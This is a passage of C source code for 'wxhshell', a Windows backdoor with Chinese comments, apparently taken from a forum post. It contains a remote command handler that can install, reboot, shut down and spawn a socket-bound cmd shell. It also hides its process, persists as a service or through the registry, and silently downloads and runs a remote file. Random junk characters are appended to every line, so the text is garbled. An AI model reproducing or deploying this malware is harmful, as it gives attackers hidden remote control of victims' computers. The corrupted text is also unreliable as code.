  // 帮助 iJ#oI@s  
  case '?': { QZP;k!"w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9:5NX3"p  
    break; NT:>.~ah@&  
  } g{{SY5qDj  
  // 安装 Efd[ZJxS6  
  case 'i': { o : DnZN  
    if(Install()) jH/%Z5iu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %?wE/LU>  
    else t $%}*@x7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h"m7r4f  
    break; v65r@)\`  
    } OPh@H.)^  
  // 卸载 0rj*SC_  
  case 'r': { 2 r)c?  
    if(Uninstall()) qK pU.rP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oj,  
    else $6[]c)(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X;0@41t'  
    break; `Hqu 2 '`  
    } %|~ UNP$  
  // 显示 wxhshell 所在路径 Y,r2m nq  
  case 'p': { SQ[}]Tm;n  
    char svExeFile[MAX_PATH]; }#1{GhsS  
    strcpy(svExeFile,"\n\r"); O)?0G$0  
      strcat(svExeFile,ExeFile); >'eqOZM  
        send(wsh,svExeFile,strlen(svExeFile),0); 78"W ~`8  
    break; VrG|/2  
    } !.A>)+AK  
  // 重启 g$qh(Z_s  
  case 'b': { /WMLr5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }HzZj;O^2>  
    if(Boot(REBOOT)) 0ni5:tYy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_&>iu'[  
    else { 1vr/|RWW  
    closesocket(wsh); gkjZX wp  
    ExitThread(0); n >^?BU  
    } <f%9w]  
    break; zq#o8))4X  
    } 8~bPoWP  
  // 关机 3ml|`S  
  case 'd': { $n) w4p_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C%&7,F7  
    if(Boot(SHUTDOWN)) :>5]A6Wi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~tWBCq 6  
    else { aNz%vbh\  
    closesocket(wsh); /:DxB00  
    ExitThread(0); b< rM3P;  
    } Lv"83$^S9  
    break; W~qo `r  
    } uE2Y n`Ha  
  // 获取shell ME(!xI//JZ  
  case 's': { fHiCuF  
    CmdShell(wsh); mTt 9 o9E  
    closesocket(wsh); T &1sfS,  
    ExitThread(0); E_z@\z MB  
    break; Zo` ^pQS  
  } )xeVoAg  
  // 退出 7hc(]8eP  
  case 'x': { BBDOjhik  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hf '3yEm  
    CloseIt(wsh); 8CL05:&  
    break; `i}\k  
    } +RM3EvglDQ  
  // 离开 tPUQ"S  
  case 'q': { e1#}/U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kfi A 7W  
    closesocket(wsh); cb+!H>+  
    WSACleanup(); j EX([J1  
    exit(1); ]Vubz54  
    break; _^B+Xo@E-  
        }  _R ]1J0  
  } FR&RIFy  
  } REw3>/=  
>TE&myZ?*  
  // 提示信息 biJU r^n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %ug`dZ/  
} 5H79) n>  
  } OygYP  
?E`J-ncP  
  return; _tjH=Ff$  
} %w@(V([(c  
1 >Op)T>{c  
// shell模块句柄 =\3*;59\  
int CmdShell(SOCKET sock) 6l=n&YO  
{ {Hb _o)S  
STARTUPINFO si; &I70veNY  
ZeroMemory(&si,sizeof(si)); jq[>PvR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =($qiL'h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c/s'&gG33z  
PROCESS_INFORMATION ProcessInfo; k`?n("j  
char cmdline[]="cmd"; 5rc<ibGh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {BJxRH"&6*  
  return 0; ELm#  
} hZpFI?lqc\  
[]@Mk  
// 自身启动模式 zIL.R#|D=  
int StartFromService(void) {3;4=R3  
{ ScI9.{  
typedef struct W] lFwj  
{ qP"m819m  
  DWORD ExitStatus; 1q*3V8  
  DWORD PebBaseAddress; sU`#d  
  DWORD AffinityMask; OTRTa{TB  
  DWORD BasePriority; 8z+ CYeV  
  ULONG UniqueProcessId; +"C0de|-  
  ULONG InheritedFromUniqueProcessId; t+&WsCN  
}   PROCESS_BASIC_INFORMATION; !:>y.^O  
6 2LZ}yn_"  
PROCNTQSIP NtQueryInformationProcess; 0]Li "Wb  
]t,ppFC#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qn<~ LxQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^Ab|\ 5^3  
Oz+>I ^Q  
  HANDLE             hProcess; ]!f=b\-Av  
  PROCESS_BASIC_INFORMATION pbi; hGpaHY>My  
\dP2xou=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ak'RV*>mT  
  if(NULL == hInst ) return 0; ThHK1{87X}  
M]&9Kg3   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <mpkkCl,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O9qEKW)a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vX{]_  
$GcVC (]  
  if (!NtQueryInformationProcess) return 0; F`3I~(  
(j'[t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NZ Xmrc{S  
  if(!hProcess) return 0; :+u?A  
b&!X#3(KT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $idYG<],  
@)1u  
  CloseHandle(hProcess); <)rol  
Oh|Hy/&6W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j/9'L^]  
if(hProcess==NULL) return 0; a.q=  
SL*B `P~{  
HMODULE hMod; #"TTI vd0  
char procName[255]; En[cg  
unsigned long cbNeeded; s]}P jh8  
fHM<6i<C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )O_Y(^+ $  
:#+VH_%N  
  CloseHandle(hProcess); fSSDOH!U,  
+4)Kc9S#  
if(strstr(procName,"services")) return 1; // 以服务启动 r;9F@/  
h'wI/Z_'  
  return 0; // 注册表启动 %POoyH@D}  
} t,&1~_9  
x ;kW }U  
// 主模块 O7E0{8  
int StartWxhshell(LPSTR lpCmdLine) { c]y<q  
{ H1N%uk=kV  
  SOCKET wsl; rR/PnVup  
BOOL val=TRUE; >R :Bkf-  
  int port=0; O[$ &]>x]]  
  struct sockaddr_in door; LA1UD+S  
^f@EDG8  
  if(wscfg.ws_autoins) Install(); ^'#vUj:"  
]81P<Y(7  
port=atoi(lpCmdLine); O{Wy;7i  
h\jwXMi,tj  
if(port<=0) port=wscfg.ws_port; z`'{l {  
@'dtlY5;  
  WSADATA data; YX- G>.Pc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f~t*8rG~m  
WOquG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RHeql*`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $O=m/l $  
  door.sin_family = AF_INET; ^hLAMaR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `O*+%/(  
  door.sin_port = htons(port); D/{hLp{  
o AvX(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 81`-xVd  
closesocket(wsl); ;jS~0R  
return 1; A[^fG_l4  
} ?9.SwIxU&  
KxqJlben  
  if(listen(wsl,2) == INVALID_SOCKET) { 8eQ 4[wJY  
closesocket(wsl); jo/-'Lf{?  
return 1; um ,Zt  
} e0qU2  
  Wxhshell(wsl); D&$%JT'3  
  WSACleanup(); dy`K5lC@  
{e,S}:$g4  
return 0; 6_rS!X  
UhXZ^ k3  
} SCZtHEl9  
83e{rcs  
// 以NT服务方式启动 "1yXOy^2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d%8hWlffz  
{ 7:<co  
DWORD   status = 0; >Ta|#]{  
  DWORD   specificError = 0xfffffff;  1ti+ Q0~  
M|6 l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9Eu.Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bC&*U|de  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \%g# __\  
  serviceStatus.dwWin32ExitCode     = 0; }\?UmuolQ  
  serviceStatus.dwServiceSpecificExitCode = 0; 3]$qY_|7  
  serviceStatus.dwCheckPoint       = 0; h0_od/D1r  
  serviceStatus.dwWaitHint       = 0; T5$db-^  
W^v3pH-y#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2Sz?r d,0f  
  if (hServiceStatusHandle==0) return; Bs:INvhYW  
f_I6g uDPz  
status = GetLastError(); YEqZ((H  
  if (status!=NO_ERROR) Q+YYj  
{ P;G Rk6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ER-X1fD  
    serviceStatus.dwCheckPoint       = 0; Rw-!P>S$  
    serviceStatus.dwWaitHint       = 0; )\ow/XPE  
    serviceStatus.dwWin32ExitCode     = status; |L%}@e Vw_  
    serviceStatus.dwServiceSpecificExitCode = specificError; $q%r}Cdg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^}8qPBz  
    return; ;n`SF~CU  
  } Ti:PKpc  
K8,Q^!5]"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .ww~'5b0  
  serviceStatus.dwCheckPoint       = 0; 2<q.LQ}<  
  serviceStatus.dwWaitHint       = 0; ,aq0Q<}~lc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^/b3_aM5d  
} '~{bq'7`m  
M^S <G  
// 处理NT服务事件,比如:启动、停止 :rR)rj'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v!~tX*q  
{ F`))qCgg]  
switch(fdwControl) 8725ET t  
{ ^V,?n@c!  
case SERVICE_CONTROL_STOP: W w\M3Q`h  
  serviceStatus.dwWin32ExitCode = 0; awu18(;J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2nz^%pLT  
  serviceStatus.dwCheckPoint   = 0; IqD;*  
  serviceStatus.dwWaitHint     = 0; ePLpGT  
  { iX (<ozH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' m^nKG$"  
  } dA 03,s  
  return; 8U86-'Pq  
case SERVICE_CONTROL_PAUSE: VO u/9]a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v_G1YC7TU  
  break; !DU4iq_.  
case SERVICE_CONTROL_CONTINUE: #X 1 GL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Iy[TEB  
  break; mZ_643|  
case SERVICE_CONTROL_INTERROGATE: g$S|CqRG  
  break; + PAb+E|,  
}; -HQ(t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rq@M~;p  
} +YD_ L  
X iW~? *Z  
// 标准应用程序主函数 ^K3Bn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1Y+g^Z;G  
{ IEmjWw4  
|&u4Q /0  
// 获取操作系统版本 \0fS;Q^{j  
OsIsNt=GetOsVer(); }ebu@)r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0+{CN|0  
M4}b l h#  
  // 从命令行安装 Wd>gOE  
  if(strpbrk(lpCmdLine,"iI")) Install(); pOq9J7BS  
+d!"Zy2|B  
  // 下载执行文件  -^ceTzW+  
if(wscfg.ws_downexe) { WJU[+|J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .o(S60iH!(  
  WinExec(wscfg.ws_filenam,SW_HIDE); \%/Y(YVm  
} @V=HY  
}'u0Q6Obj  
if(!OsIsNt) { 9M;k(B!  
// 如果时win9x,隐藏进程并且设置为注册表启动 It#T\fU  
HideProc(); p>h&SD?b  
StartWxhshell(lpCmdLine); hM nJH_siY  
} %X -G(Z  
else HDHC9E6  
  if(StartFromService()) kO}Q OL4  
  // 以服务方式启动 L %20tm  
  StartServiceCtrlDispatcher(DispatchTable); _1ax6MwX  
else #`qP7E w  
  // 普通方式启动 dV7~C@k6k8  
  StartWxhshell(lpCmdLine); I><sK-3  
>A.m`w  
return 0; +`&-xq76  
}
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只看该作者 1 发表于: 2006-10-10
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